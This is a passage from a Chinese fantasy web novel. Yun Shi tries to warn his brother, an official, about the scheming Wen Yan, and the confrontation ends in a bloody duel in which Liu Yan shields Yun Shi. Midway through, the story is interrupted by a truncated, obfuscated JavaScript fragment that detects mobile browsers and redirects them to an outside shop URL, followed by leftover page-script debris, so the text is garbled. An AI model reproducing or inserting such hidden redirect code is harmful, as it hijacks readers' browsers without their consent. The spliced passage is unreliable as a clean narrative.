“老地方?”云岭重复了一遍,眉头微微蹙起,眼中再次闪过那种让云实心头发紧的茫然,他努力思索着,“小溪拐弯……小竹林?哥,我们小时候……有这样一个地方吗?我怎么……好像没什么印象了?” 云实还想再说什么,旁边那名一直沉默记录的小吏却适时地轻咳一声,抬头看了看厅角的滴漏,开口道:“云主事,巳时三刻了,您上午还有份卷宗需与刘员外郎合议。” 逐客令下得委婉而坚决。 云岭恍然回神,脸上露出歉意:“啊,瞧我,光顾着和哥说话了。哥,公务在身,实在……” 他站起身,有些歉然地看着云实。 云实也只好起身,知道再多说也无益,反而可能引起更深的怀疑。他深深看了弟弟一眼,将千言万语压回心底,只化作一句:“照顾好自己。凡事……多留个心眼。家里的事,有我。” “嗯!哥你也是,路上小心。替我向爹娘问好,说我很快就回去看他们!”云岭笑着点头,亲自将云实送到厅堂门口。 走出户部衙署那巍峨的门槛,重新置身于喧嚣的街市,秋日的阳光照在身上,云实却感觉不到丝毫暖意。流衍从不远处一个茶摊旁悄然走近,看到云实苍白失神的脸色,心中一沉。 “如何?”他低声问。 云实没有立刻回答,他缓缓吸了一口带着京城尘埃气息的空气,再吐出时,声音嘶哑而冰冷:“温言……他可能把我弟弟,修好了。” 青石镇的老宅,在秋日的阴雨里沉默地伫立着,像一具被抽空了魂魄的躯壳。云实和流衍在这里已经猫了五天。每日,云实都像个真正的幽灵,在熟悉的院落、空荡的堂屋、积灰的织机旁无声移动,感知着每一丝风吹草动,也反复咀嚼着户部衙署里那场令人心寒的会面。流衍则更多时候隐在暗处,加固着两人布下的、近乎本能的隐匿气息,并警惕着镇子内外可能出现的异常灵力波动。等待磨人心智,尤其是等待一个可能已被彻底修饰过的至亲。 第六日午后,稀薄的秋阳短暂地穿透云层。一阵并非修士御空、而是寻常马车轱辘压过石板路的声响,由远及近,最终停在了云锦记紧闭的门板前。然后是钥匙插入锁孔、生涩转动的金属摩擦声,以及门轴因久未开启发出的、拖长的“吱呀——” 云实的心瞬间提到了嗓子眼,他和暗处的流衍交换了一个眼神。来了。 透过堂屋破损窗纸的缝隙,他们看到云岭独自一人走了进来。他依旧穿着那身象征身份的青色鹭鸶补服,只是外面罩了件挡风的深色披风。他站在落满灰尘的堂屋中央,环顾四周,眉头紧锁。 “哥?爹?娘?”云岭试探着喊了一声,声音在空寂的屋子里回荡,显得格外清晰,也格外陌生。没有得到回应,他的眉头皱得更紧,低声自语:“不是说好了近日回来么?怎么……” 他摇了摇头,似乎有些不满于家人的“失约”,开始在几个房间简单查看。 就是此刻。 云实如同融入阴影的流水,悄无声息地从藏身的里间门后现出身形。 “岭儿。”他声音不高,却足以让全神贯注的云岭浑身一震,猛地转身。 “哥?!你怎么……你在这里?爹娘呢?舒儿呢?” “他们在一个安全的地方。”云实看着弟弟,尽量让声音平稳,“这里说话不方便。跟我来。” 云岭眼神闪烁了一下,他看看云实,又看了看不知何时也无声出现在堂屋门口、挡住去路的流衍。 “流衍师兄?”他认出了流衍,戒备稍减,但疑惑更深,“你们……这到底是怎么回事?为什么鬼鬼祟祟的?爹娘到底怎么了?” “想知道真相,就跟我走。”云实不容置疑地说道,率先向外走去。流衍侧身让开,目光沉静却带着无形的压力。 云岭犹豫了片刻,看了看空荡冰冷的家,又看了看兄长异常严肃的脸和流衍沉默的身影,最终一咬牙,跟了上去。他没有召唤马车,只是紧了紧披风,随着云实和流衍,专挑镇子边缘人迹罕至的小路疾行。一路上,云实和流衍都保持着极高的警惕,不断变换路线,绕开可能的视线。云岭跟在后面,起初还试图询问,见两人均不回答,脸色也渐渐沉了下来,嘴唇抿紧,显出不悦。 约莫半个时辰后,他们来到了青石镇外一处荒废已久的砖窑。此地偏僻,远离道路,窑洞本身的结构也能一定程度上隔绝声响。 走进窑洞深处,流衍立刻动手。他指尖灵力流转,数道符文悄然没入四周的土壁和地面,一道淡得几乎看不见的、水波般的屏障缓缓升起,将内外隔绝。这是比之前更精密的防监听与隔绝结界,足以阻挡绝大多数窥探法术和声音的传播。 昏暗的光线从窑口斜斜照入,映出三人脸上不同的神情。云实深吸一口气,转过身,直面云岭。 “岭儿,接下来我要说的话,你可能很难相信,也可能不愿意相信。但每一句,都是真的。”云实的声音在空旷的窑洞里显得格外低沉,带着一种不容置疑的重量,“家里出事,铺子关门,我们举家离开,不是去散心,而是逃命。” “逃命?”云岭瞳孔一缩,“逃谁的命?哥,你到底在外面惹了什么事?!” “不是我惹事,”云实盯着弟弟的眼睛,一字一句道,“是温言,逼得我不得不逃。” “温大人?”云岭像是听到了什么荒谬绝伦的笑话,脸上写满了不可思议,甚至有一丝被冒犯的恼怒,“哥!你知道温大人是什么人吗?他是当朝侍读学士,清流典范,对我有知遇之恩!他为什么要逼你?一定是你做了什么触怒朝廷法度、或者……或者妨碍了温大人公务的事情!是不是你那点‘织布’的手艺,牵扯到了什么不该碰的东西?” “是你哥被人欺负了。”一直沉默的流衍忽然开口,声音冷得像窑洞里的石头。他实在听不下去云岭这种毫无根据的指责,尤其是对着历经艰险的云实,“温言看中云实的手艺,想强夺,更想将他整个人掌控在手心。威逼利诱,无所不用其极。云实不从,他便以家人安危相胁。你所谓的知遇之恩背后,是步步紧逼的罗网。” 流衍的话直接而冰冷,像一把凿子,试图敲开云岭那被精心涂抹过的认知外壳。 云岭呼吸一滞,看向流衍的目光充满震惊和抗拒,他猛地摇头:“不……不可能!流衍师兄,你一定是误会了!温大人不是那样的人!他提拔我,看重我的才学,程序合规,吏部备案清清楚楚!他若真想对哥不利,何须如此麻烦?又何必要提拔我?这说不通!” “提拔你,本身就是他麻烦的一部分。”云实接过话头,语气带着深深的疲惫和讥讽,“把你放在户部度支司那个要害位置,给你光明的前程,让你对他感恩戴德。然后,你就成了他手中最好用的一枚棋子,一根牵着我、也牵着自己脖颈的线。岭儿,你想想,你的晋升,是否快得超乎常理?温言对你,是否好得让你有时都觉得有些不真实?他有没有,哪怕一次,在你面前提起过我?提起过家里?” 云岭张了张嘴,想反驳,但兄长的话像针一样刺中了他潜意识里某些模糊的不安。晋升速度……同僚羡慕中隐藏的复杂目光……温大人偶尔问起家中情况时那过于周全却总隔着一层的关切……还有,温大人确实从未主动提过兄长,每次都是自己说起,对方也只是淡淡应和,很快将话题引向别处。 “那……那也不能证明温大人有恶意!”云岭梗着脖子,试图坚守自己的立场,“也许……也许他只是赏识我,顺便照拂一下我的家人?哥,你的手艺若真有过人之处,上报朝廷,经有司核定,自然会有封赏重用,何必……何必闹到要逃跑的地步?你这样藏着掖着,反而显得心里有鬼!” “上报朝廷?”云实几乎要气笑了,那是一种混合着荒谬与悲凉的情绪,“岭儿,你身在户部,掌管度支,难道看不见这朝廷上下,有多少好东西是真的能落到需要它的普通人手里,而不是被层层盘剥、收入某些人的私库,或者变成他们垄断牟利、巩固权位的工具?我的手艺,若真按正规流程走,最好的结果是被某个衙门或权贵收为秘技,从此与我和像我们一样的普通人再无关系。最坏的结果,就是引来更多像温言这样,想把它连皮带骨吞下去的人!” “不会的!”云岭急切地反驳,“朝廷自有法度,人才录用、技艺评定皆有规程!只要确有才能,经过审批考核,定然能得其所用!哥,你不能因为自己可能……可能手续不全,或者遇到了些挫折,就怀疑整个制度!你应该相信温大人,相信朝廷!” 兄弟间的空气仿佛凝固了,充满了无形的角力。云实看着弟弟那被光明前途和正统理念彻底洗刷过的脸庞,感到一阵深深的无力。他知道,常规的道理已经说不通了。 “好,就算你说得对,朝廷自有法度。那如果我告诉你,温言逼我,不仅仅是为了织理呢?” 他的声音压得极低,却带着一种惊人的力度,“他想要我这个人,想用婚姻,想用收养的方式,把我彻底绑进温家,变成他的附属品。这也在朝廷法度之内吗?” 这话如同惊雷,炸得云岭彻底呆住了。他脸上的血色瞬间褪去,眼睛瞪得极大,仿佛听到了世间最不可思议、最亵渎的话语。 他猛地后退一步,像是要远离云实,嘴唇哆嗦着:“你……你胡说!这……这成何体统!温大人……温大人他怎么可能……哥!你是不是得了什么癔症?还是……” 他看向云实的眼神,第一次带上了强烈的怀疑和惊惧,甚至有一丝不易察觉的厌恶,“还是你真有那等……那等断袖之癖,才会生出如此荒谬的念头,还以此来诋毁温大人?!” “温大人都要成婚了!”云岭急促地说道,试图用这个“铁一般的事实”击碎云实的“妄想”,“请柬都已下发!新娘是礼部侍郎的千金!婚事就在下月!满朝皆知!哥,你醒醒吧!不要再编造这些……这些骇人听闻的谎言了!” 窑洞里一片死寂。流衍的手按在了剑柄上,眼神冰冷地看着情绪激动的云岭。云实则站在原地,一动不动。 温言要结婚了…… 这个消息像一盆冰水,浇灭了他刚才孤注一掷揭破对方意图时的那点激愤,只剩下更深、更沉的冰冷。是了,这才是温言。婚姻,对他而言,也不过是巩固权力、扩大联盟的工具。自己当初竟然以为……他心中泛起一丝自嘲的苦涩。 但这苦涩立刻被更大的焦虑取代。温言越是在明面上按部就班地经营他的权势婚姻,就说明他对云实的兴趣和掌控欲,越可能转向更隐蔽、更不择手段的方向。云岭的处境,也就越危险。 “他要娶谁,与我无关,也改变不了他做过的事。”云实的声音重新变得干涩而冷静,“岭儿,我告诉你这些,不是要你立刻相信,更不是要诋毁谁。我是要你明白,你现在的处境,很危险。温言提拔你,绝对不是因为单纯赏识你的才华。你坐在度支司那个位置上,就像一个醒目的靶子,或者一个精心调试的诱饵。无论他对我是何种企图,你都已经被卷进来了。听哥一句劝,找个由头,辞官,或者外放,离开京城,离开温言的视线范围。先保护好自己。” 云岭却像是完全没听见后面的劝告,他只捕捉到了“危险”和“诱饵”这几个字,并且用自己的逻辑迅速完成了解读。他的脸色从苍白转为一种激动的涨红,指着云实,声音因为愤怒和失望而颤抖。 “我明白了!我终于明白了!哥,不是温大人要对你如何,是你!是你犯了大事,触怒了温大人,甚至可能触怒了朝廷!你的过错太大,大到要连累全家!温大人是为了追捕你,或者为了掌握你的动向,才用我来……来牵制你!而你,你非但不思悔改,反而变本加厉,把爹娘和云舒都藏起来,现在还要来蛊惑我,让我放弃大好前程,跟你一起亡命天涯!是不是这样?!你说啊!” 云实看着弟弟那因自我说服而显得理直气壮、甚至带着谴责意味的脸,忽然觉得无比疲倦,也无比荒谬。 “温言看重的,是我的织理之术,是这技术可能带来的东西,以及我这个人本身可能具有的……某种价值。”云实已经懒得去纠正弟弟那完全颠倒黑白的推断了,他只是陈述最核心的事实,“这技术,我不想交给一个只想把它变成私人权柄工具的人。” “技术就应该上交给朝廷!”云岭斩钉截铁,“个人的奇巧淫技,唯有纳入国家体系统筹,才能惠及天下!哥,你这是藏私,是狭隘!温大人若真看中你的技术,那不正说明这技术有价值吗?你更应该主动献上,经流程审批,让它发挥更大作用!我相信温大人会秉公处置的!” “然后呢?让这技术变成另一个被垄断的‘官造局秘传’?或者成为温言那一派系新的筹码?”云实忍不住冷笑,“岭儿,你掌度支,见过多少惠民良策,最终变成了盘剥百姓的新名目?多少本该流通的好东西,被锁在库里积灰,或者只在少数人之间流转?我的织理,现在至少还能通过纸鸢的渠道,让一些最普通的修士和百姓,用稍微多一点的价钱,买到更耐穿、更舒服一点的衣物。这就是我想要的惠及。而不是变成某个大人物书房里赏玩的图谱,或者军营中将官才能配备的奢侈品。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934583|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “纸鸢?那个商女?”云岭敏锐地抓住了这个名字,眉头皱得更紧,“哥,你还和这些唯利是图的商人搅在一起?怪不得……怪不得温大人可能会不满。商贾重利轻义,最会钻营,你的技术若被他们拿去,还不知道会生出多少是非!哥,回头吧!趁现在还不晚,跟我回去,向温大人说明情况,把你的技术正式上呈。有温大人斡旋,或许还能将功折罪!我也会帮你求情!我们不能一错再错了!” 他上前一步,语气带上了恳求。 “将功折罪?”云实咀嚼着这四个字,只觉得无比讽刺。 他看着云岭,看着这个血缘相连、却仿佛隔着重重迷雾的弟弟,终于放弃了解释和说服。 他摇了摇头,语气是彻底的失望与疏离:“岭儿,你已经被你的前程和恩遇蒙住眼睛了。你看不见温言脚下的阴影,也听不进任何不同的声音。既然你认定是我犯错,是我连累全家,那我也无话可说。” 他顿了顿,最后说道:“爹娘和云舒,现在在栖霞镇外的界碑林附近,很安全。你若还有一丝念及亲情,就不要把这个地点告诉任何人,尤其是温言。如果你执意要站在他那边,那……” 云实的声音艰涩了一下,“那从今往后,你就当没有我这个兄长。我们……各自保重吧。” 云实的话音刚落,那决绝的尾音还在昏暗的窑洞里带着回响,尚未完全消散,窑洞入口那片被流衍结界笼罩的、水波般的光影,便极其轻微地扰动了一下。 不是被从外部强行突破的激烈震荡,更像是有什么东西,从一开始就存在于那层屏障的内侧,或者更准确地说,是随着云岭一同进入了结界范围,只是此刻才主动显现。 一个穿着藏青色服装、腰间佩着制式横刀的男子,悄无声息地从那片光影扰动处走了出来。他的步伐很稳,落地无声,先是对着脸色骤变的云岭微微躬身,声音平板无波:“云主事,属下见您久未出来,心中担忧,便冒昧靠近了些。职责所在,还请主事恕罪。” 话是对云岭说的,但他的身形站位,却隐隐卡在了云实和流衍退出窑洞的路径上。 流衍的瞳孔骤然收缩!不是震惊于此人能突破他布下的结界,此人并未强行闯入,令他心头发寒的是,这护卫,及其背后代表的意志,对此次会面可能的私下交谈,早有防备,且布置得滴水不漏。自己精心准备的隔绝,在对方眼中,可能从一开始就是个笑话。 之前所有的试探、解释、争吵,甚至最后那近乎割裂关系的决绝话语……一幕幕在他脑中飞快闪过,一股混杂着被彻底愚弄、被亲密之人背叛、以及更深层恐惧的怒火,如同压抑许久的火山熔岩,猛地冲上他的头顶! 他的目光死死钉在云岭瞬间变得慌乱、震惊、又夹杂着一丝无措和心虚的脸上,声音因为极致的愤怒和失望而压得极低,却像冰碴子一样刮过空气。 “我之前说了,这次对话,很重要。” 他每一个字都像是从牙缝里挤出来的,“非常重要!我让你留意,让你小心……你呢?你就这样,带着一条尾巴,走进了我千辛万苦才撑起来的、以为能暂时说几句真心话的地方?!” 云岭的脸一阵红一阵白,他显然也没料到护卫会在此刻出现,更没料到会被兄长如此直接、如此严厉地指控。护卫那句心中担忧听起来合情合理,但出现在这个时间、这个地点,其意味不言而喻。他想解释,想说这或许是巧合,想说护卫只是尽责……但在兄长那仿佛能刺穿一切伪装的、燃烧着怒火与冰冷的眼神注视下,所有辩解的话都堵在了喉咙里。他自己心底,又何尝没有升起一丝寒意和怀疑?温大人派给他的护卫……真的只是保护他安全这么简单吗? 但这种被兄长当众揭破和指责的难堪,以及内心深处那份不愿承认自己可能被利用、被监视的倔强,迅速压过了那丝怀疑,转化为同样激烈的反弹。 “我……我怎么知道他……”云岭他指着那沉默如磐石的护卫,又指向云实,“就算……就算他跟着我又怎样?他是温大人派来保护我安全的!哥,你现在看看你自己!像个什么样子!疑神疑鬼,东躲西藏!还把爹娘、把云舒带到那种荒山野林、妖物横生的地方去!界碑林?那是人住的地方吗?!” 他的声音越来越高,带着一种被逼到墙角后的气急败坏和道德谴责:“爹娘以前多疼你?多看重你?把家里的铺子、希望都寄托在你身上!你就是这么报答他们的?让他们一把年纪了,跟着你担惊受怕,离乡背井,去住林子?吃野果?这就是你云实作为长子的担当?!你把一家人拖进你自己惹出来的泥潭里,这就是你口中所谓的‘保护’?!你扪心自问,你对得起爹娘吗?!” 这些话,像一把把淬毒的刀子,精准地捅在云实最痛、也最无力辩解的地方。他带着家人逃亡,固然是迫不得已,但让父母离开生活一辈子的家,让妹妹放弃熟悉的环境,确是不争的事实。这份愧疚,日夜啃噬着他,此刻被云岭用如此激烈、如此正义凛然的方式吼出来,仿佛他所有的挣扎、所有的努力,都成了自私自利、连累家人的罪证。 云实却站在那里,一动不动。脸上因愤怒而涨红的血色,慢慢褪去,只剩下一片冰冷的苍白。他看着眼前这个既熟悉又陌生的弟弟,看着他脸上那混合着指责、委屈、以及一丝连他自己可能都未察觉的、属于官员对逃犯的优越感的神情。心中那最后一点微弱的、关于亲情唤醒的希望之火,终于彻底熄灭了。 愤怒依旧在胸腔里燃烧,但已经烧掉了所有多余的杂质,只剩下一种冰冷的、坚硬的决绝。 他没有再去看那名护卫,也没有再试图对云岭说任何一个字。 他只是很慢、很慢地,转过身。他手中一直紧握的柴斧猛地向前一划,那面坚实的土壁,竟被他斧刃上凝聚到极致、性质诡异的乱力,硬生生撕开了一道边缘极不规则的漆黑裂缝。裂缝后面,不是砖石,而是翻滚涌动的、带着界碑林特有阴湿与杂乱灵气气息的黑暗。 那是他在研究织理与空间时,一个极其冒险、极不成熟,本打算彻底废弃的试验性想法。 短暂地扰动局部空间结构,制造一个极不稳定的临时穿行缝隙。目标地点必须是他灵力长期浸染、熟悉无比且没有强大干扰的地方,风险极高,可能迷失,可能被空间乱流撕碎。但他此刻,毫不犹豫地用了出来。目标,直指界碑林深处,他和流衍盖起的小屋附近,那片被他灵力反复梳理过的土地。 “云实!”流衍的惊呼被抛在身后。 窑洞里,死一般的寂静。只有粗重的呼吸声,和灰尘缓缓飘落的声音。 界碑林深处的空气,常年弥漫着一种混杂了腐殖质清新与某种阴冷残留的气息。纸鸢那处被竹林半掩的院落,本是在这片地界中难得的安全孤岛,此刻却被一种凝重的气氛笼罩。 院落外的空地上,空气突然诡异地扭曲了一下,并非自然的风。下一瞬,一道身影如同被无形之力吐出,踉跄着显现,正是脸色惨白如纸、嘴角带血、几乎站立不稳的云实。他甫一现身,便猛地单膝跪地,以柴斧支撑,才没有彻底倒下。强行扰动空间的反噬和传送过程中的撕扯,让他体内灵力乱窜,经脉灼痛,眼前阵阵发黑。 几乎就在云实现身的同时,一道青色剑光以惊人的速度自天际掠来,在院落上空急停,流衍的身影飘然落下。他看到云实的状态,眼中闪过一丝惊怒与心疼,立刻上前一步,扶住他摇摇欲坠的肩膀,精纯温和的灵力就要渡过去。 “别管我……先……”云实的声音嘶哑虚弱,却带着不容置疑的急迫,目光死死盯着前方那片开始剧烈波动的空气。 流衍的动作顿住,瞬间领会,立刻收回了疗伤灵力,转而将云实护在身后,周身剑意勃发,锁定了那波动传来的方向,正是云实之前开辟、此刻尚未完全平复的、极其不稳定的空间裂隙残留点。 就在这剑拔弩张的瞬间,那扭曲的波动达到了顶峰,如同投入石子的潭水般猛然荡漾开来。紧接着,两道身影略显踉跄地也从那波动的中心跌出,正是利用这尚未完全闭合的脆弱通道,不惜冒险紧随其后穿行而来的云岭,以及那名沉默的护卫! 云岭脸色惨白,比云实好不了多少,显然这种粗暴且极不稳定的空间旅行让他吃足了苦头,一出来就弯腰干呕。而那护卫,虽然也脚步微晃,却迅速稳住了身形,目光如鹰隼般扫过四周环境,第一时间就捕捉到了被流衍护在身后、状态极差的云实,以及不远处刚从屋内闻声冲出的几人。 “爹!娘!舒儿!” “岭儿?!”林秀惊呼,下意识想上前,却被云舒微微伸臂拦住。云天青则看着突然出现的次子和他身后那气息沉凝的陌生护卫,眉头紧锁,浑浊的眼中充满了困惑与不安。 “二哥,你怎么找到这里的?” 云岭喘匀了气,脸上恢复了一些血色,他上前几步,试图越过云舒直接面对父母,语气是努力放柔和的劝说:“爹,娘,小妹,你们没事真是太好了!哥他……他是不是把你们带到这里来的?这地方荒山野岭,如何是久居之地?听我的,跟我回青石镇去,或者……我去京里安置个好点的住处。这里太不安全了!” 林秀看着小儿子,眼中流露出动摇。这半年多颠沛躲藏,虽然衣食无忧,但终究是离了故土,心中无时无刻不萦绕着乡愁和对往昔安稳生活的怀念。她嚅嗫着:“岭儿……这里,其实也还……” “娘!”云舒猛地打断母亲,转头直视云岭,声音清亮而坚决,“不能回去!现在回去才是真的危险!哥费了多大劲才把我们安置在这里,为什么?不就是因为有人要害他,也会连累我们吗?二哥,你在京城当官,难道就一点风声都听不到?” 云岭被妹妹堵得一滞,脸上闪过一丝不易察觉的难堪,但随即被更强烈的不以为然取代:“舒儿!你年纪小,不懂事!什么连累不连累?哥他自己行事偏激,招惹了是非,难道要让全家人都跟着他东躲西藏,过着见不得光的日子吗?官府自有法度,若真有事,陈情上告便是!躲在这里,算什么道理?难道一辈子做山林野人?” 他转向父母,“爹,娘,你们辛苦了一辈子,难道老了还要在这种地方担惊受怕?跟我回去,儿子现在有能力奉养你们,让你们安享晚年!青石镇的铺子,想开我们再开,不想开就关了,儿子俸禄足够!” 这番话,实实在在戳中了云天青和林秀心中最矛盾、最柔软的地方。故土难离,安稳难得,尤其是对于经历了惊吓与漂泊的老人。 “说够了吗?”云实的声音不高,却压过了院子里所有的嘈杂。他一步步走过来,每一步都像是踩在紧绷的弦上。 “你觉得,是我把爹娘拖来吃苦?是我让他们担惊受怕?” 他停在云岭面前几步远的地方,兄弟二人身高相仿,此刻却像隔着无形的深渊对视。 “难道不是吗?!”云岭在兄长冰冷的目光下有些发怵,但长久以来积压的道理和刚才对父母劝说的正义感支撑着他,让他挺直了脊背,“你看看这里!再看看爹娘!他们本该在家安享清福!都是因为你!因为你那点不肯上交的手艺,因为你招惹了不该招惹的人!你非但不思悔改,还把全家拖下水!爹娘以前多疼你?你就是这么报答他们的?你这算什么一家之主!” “一家之主?”云实重复着这个词,忽然低低地笑了起来,笑声里充满了无尽的疲惫与讽刺,“是啊,我没用,我这个一家之主,只能带着家人躲到妖物横生的林子里,才能避开那些高高在上、打着法度和恩遇旗号的豺狼!而你这个孝顺儿子,这个清清白白的好官,你的报答就是把你亲哥哥的软肋,亲手送到那匹豺狼的嘴边,还沾沾自喜以为得了天大的恩典!” 他猛地抬手指向那一直沉默如影的护卫,声音陡然拔高,带着压抑到极致的暴怒:“你看看他!你看清楚!你以为他只是来保护你的?我告诉你,从你踏入那个结界开始,从他把我们的每一句话都可能传出去开始,你就已经不是云岭了!你是温言钉在我眼皮底下的钉子!是悬在爹娘和云舒头上的刀!” “你胡说!”云岭脸色涨红,气得浑身发抖,“温大人是正人君子!他提拔我,赏识我!这护卫是保护我安全的!哥,你简直是不可理喻!你自己心理阴暗,就看谁都是坏人!我今天一定要带爹娘走,不能再让你把他们带偏了!” 他越说越激动,转向那护卫,几乎是命令道,“还愣着干什么?帮我劝劝我爹娘!还有,把我哥……把他带走!不能再让他这样错下去了!” 那护卫上前一步,依旧微微垂首,声音却不再平板,带上了一丝奇异的、令人不舒服的温和:“云主事息怒,云实公子也请稍安勿躁。骨肉至亲,何必争执至此。” 他抬眼,目光掠过云实,落在流衍身上,最后又回到云实这里,“此地毕竟是纸鸢姑娘的私产,在此处动手,打坏花花草草,惊扰了两位老人家和云舒姑娘,总是不美。不如……我们换个清净地方,好好聊聊?云实公子想必也有很多疑问,想单独……问问在下。” “好。”云实干脆利落地应下,他阻止了流衍的动作,“我跟你‘出去聊聊’。” “云实!”“哥!”父母和云舒急呼。 云实回头,给了他们一个勉强算得上安抚的眼神,低声道:“没事,流衍师兄在。” 说罢,不再看脸色铁青、又因护卫的擅自提议而有些愕然的云岭,转身率先向界碑林更深处走去。 那护卫微微一笑,对云岭略一拱手:“主事稍候,属下一定将云实公子完好地带回来,与您说个分明。” 随即,不紧不慢地跟了上去。 界碑林深处,古木荫蔽,天光惨淡。空地裸露着黑岩与虬根,空气中弥漫着旧战场的铁锈味,此刻又将添上新痕。 云实、流衍与那护卫站定。云岭被留在空地边缘,脸色煞白,想开口却被流衍的眼神冻住。 护卫抬手在脸上一抹。光影水纹般波动,平凡褪去,露出温言那张俊雅却疏冷的脸。 “换个清净地方,”温言开口,声音平静无波,“如你所愿。现在,想怎么了断?” 云实指节捏得发白,柴斧横在身前。 “放过我家人,所有事,冲我来。” “你弟弟是朝廷命官,自有他的路。”温言目光转向流衍,“二对一,不太公平。” “流衍师兄,”云实没回头,声音嘶哑,“这是我和他的事。你别插手。” 流衍下颌绷紧,盯着温言,缓缓退开一步,手仍按在剑柄上。 温言似乎笑了下,抬手示意:“请。” 云实的柴斧带着灰蒙蒙的乱流劈出,没有花巧,全是搏命的狠厉。温言侧身避开,动作并不快,甚至有些生疏,但每一步都恰到好处。他屈指一弹,一道凝练如针的灵力射出,精准点中斧身侧面。云实手臂一麻,攻势偏斜。 两人在空地间缠斗。温言确实如他所说,很少实战。招式间有明显的停顿和权衡,更像在拆解、试探。但他灵力精纯浑厚,每每以最简单的格挡或偏移化解云实狂暴的乱力。云实攻势如潮,却总像打在棉花上,又被暗劲震得气血翻腾。 几十招过去,两人身上都见了汗。云实呼吸渐重,温言眉头也微微蹙起。场面看似胶着,但流衍看得分明,温言始终未出全力,而云实的乱力已在透支边缘。 又一次斧刃擦着温言衣袖划过,只削下一片布料。温言终于退了一步,眼神沉了下来。 “该结束了。”他轻声道,右手抬起,掌心泛起一层幽暗的、仿佛能吞噬光线的色泽。那不是攻击,而是一种缓慢、沉重的压力,像整片林地的阴影都活过来,朝着云实笼罩而下,要将他连人带斧,彻底镇封。 界碑林深处,空气凝固。 “云实——!” 厉喝声与剑光同时爆发。 流衍的身形在原地留下一道淡淡的残影,真身已决绝地撞入云实与那死亡尖锥之间。他不是挥剑格挡,那尖锥的凝练与法则层面上的湮灭性,绝非仓促剑罡能阻。他是用身体,用灌注了毕生修为、瞬间燃烧精血催发到极致的本命剑器,横在了尖锥的路径上。 剑,是他的青冥,相伴百年,心意相通。 人,是他的全部决意。 先是令人头皮发炸的、仿佛金属被巨力强行弯折撕裂的刺耳尖鸣。青冥剑身光华暴涨到极致,然后从中部猛地迸裂开无数蛛网般的裂纹。紧接着是骨骼断裂的闷响,流衍持剑的双臂臂骨在接触的刹那便发出不堪重负的呻吟,随即是胸骨。那尖锥蕴含的恐怖力量,哪怕被本命剑器舍身阻挡削弱了大半,余波依然如同摧枯拉朽的洪流,狠狠撞在他的胸膛。 流衍整个人像被无形的巨锤正面砸中,口鼻间顷刻涌出大量鲜血,染红了前襟和瞬间黯淡、濒临破碎的青冥剑。他向后倒飞,狠狠撞在云实身上,两人一起滚倒在地。 云实的眼睛,在流衍鲜血溅到他脸上的瞬间,变得一片赤红。不是愤怒,是某种更冰冷、更疯狂的东西。他看着身前几乎被打碎的流衍,看着温言因全力一击被阻而出现的、极其短暂的灵力回潮与心神震动。 他没有嘶吼,只是将舌尖狠狠咬碎,混合着心头精血,连同丹田内那枚异丹与苏妄本源被强行引爆的力量。 他口中涌出的血带着细碎的金红色光点。皮肤下血管凸起,经脉传来灼烧般的剧痛,但力量也在瞬间飙升到一个危险的临界点。他借着重伤流衍换来的这一隙之机,单手撑地,另一只手握住柴斧,将这股沸腾的、带着自毁气息的暴乱之力,全部压入斧中,如同掷出燃烧生命的标枪,朝着温言猛掷而去。 斧刃撕裂空气,发出鬼哭般的尖啸,所过之处,留下一道扭曲的、仿佛空间都被烫伤的灰红色轨迹。 流衍的舍身阻挡完全超出了温言的计算,而云实这紧随其后、充满毁灭意味的反击,更是快、狠、准到了极点。他刚释放完那记绝杀,旧力方竭,新力未生,护体灵光也因全力攻击而最薄弱。仓促间他只来得及将残余灵力疯狂汇聚于胸前,同时竭力侧身。 斧刃未能完全穿透他仓促凝聚的灵力护层,但那股凝聚了云实部分本源和爆体之力的混乱冲击,结结实实轰在了他左胸偏上的位置。 清晰的骨裂声。 温言如遭雷击,整个人向后抛飞,半空中便有鲜血从口中涌出。他左肩至锁骨处一片血肉模糊,骨头不知碎了几块,气息以肉眼可见的速度萎靡下去,那张总是从容的脸上,第一次出现了无法掩饰的惊怒与痛楚。他重重摔在地上,又挣扎着半跪起来,看了一眼远处倒地不起、生死不知的流衍,又看了一眼七窍流血、摇摇欲坠却仍死死盯着他的云实,眼神阴沉得几乎滴出水。 计划彻底被打乱了。流衍的决绝超出了预估,云实的狠辣和时机把握更是致命。他重伤,而对方两人一濒死一重伤,但此地已不可久留。天衡宗、纸鸢,甚至可能还有其他变数…… 温言不再犹豫,甚至没去看一眼吓傻了的云岭,用未重伤的右手猛地一抓,一股吸力卷起云岭,同时捏碎了一枚早已备在袖中的漆黑玉符。 “嗡——” 空间一阵模糊的波动,两人的身影如同被橡皮擦去的字迹,瞬间淡化、消失。只留下原地一小滩温言吐出的鲜血,和空气中残留的、属于高阶遁空符的淡淡焦味。 空地中央,云实强撑的那口气终于散了。他眼前彻底一黑,向前扑倒,倒在流衍身边,失去了意识。只有微微起伏的胸膛和身边那柄布满裂痕、光泽全无的青冥剑,证明着惨烈的代价与短暂的、用半条命换来的喘息。 远处,终于冲破慌乱赶来的云舒和父母的哭喊声,撕破了林间的死寂。 云实的意识沉在无边的黑沉与剧痛中。经脉像被烙铁反复熨过,每一次微弱的心跳都牵扯着丹田处那强行引爆后留下的、火烧火燎的空洞与抽痛。 死亡很近,温暖而黑暗,诱惑着他彻底放松,沉进去。 ……不行。 一个念头,像冰层下骤然刺出的钢针,扎穿了沉重的黑暗。 流衍……流衍怎么样了? 那柄碎裂的剑……喷溅在脸上的血……骨骼断裂的闷响…… 这个念头本身仿佛带着灼热的生命力,蛮横地扯住了他向下滑落的意识。剧痛变得更加清晰,反而成了锚,把他从昏迷的边缘硬生生拖了回来。 他用尽全身力气,将脸从泥土中侧过一点。视线模糊,血污糊住了睫毛。但他看到了,就在触手可及的地方,流衍躺在那里,一动不动。月白的衣袍几乎被胸前洇开的暗红浸透,脸苍白如纸,嘴唇泛着青灰色,只有鼻翼极其微弱、断断续续地翕动,证明着一口气还未彻底断绝。 